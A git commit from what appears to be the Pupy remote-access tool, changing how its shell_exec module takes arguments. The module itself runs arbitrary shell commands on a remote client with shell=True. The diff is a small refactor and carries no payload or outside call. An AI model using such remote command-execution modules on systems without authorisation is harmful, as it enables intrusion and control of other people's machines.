shell_exec simpified to avoid confusion and force escaping shell commands

This commit is contained in:
n1nj4sec 2016-01-19 19:15:14 +01:00
parent 00c9a583e0
commit bfeb07898f
1 changed files with 2 additions and 2 deletions

View File

@ -10,11 +10,11 @@ class ShellExec(PupyModule):
""" execute shell commands on a remote system """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__)
self.arg_parser.add_argument('argument', nargs='+')
self.arg_parser.add_argument('argument')
def run(self, args):
res=""
try:
res=self.client.conn.modules.subprocess.check_output(' '.join(args.argument), stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True)
res=self.client.conn.modules.subprocess.check_output(args.argument, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True)
except Exception as e:
if hasattr(e,'output') and e.output:
res=e.output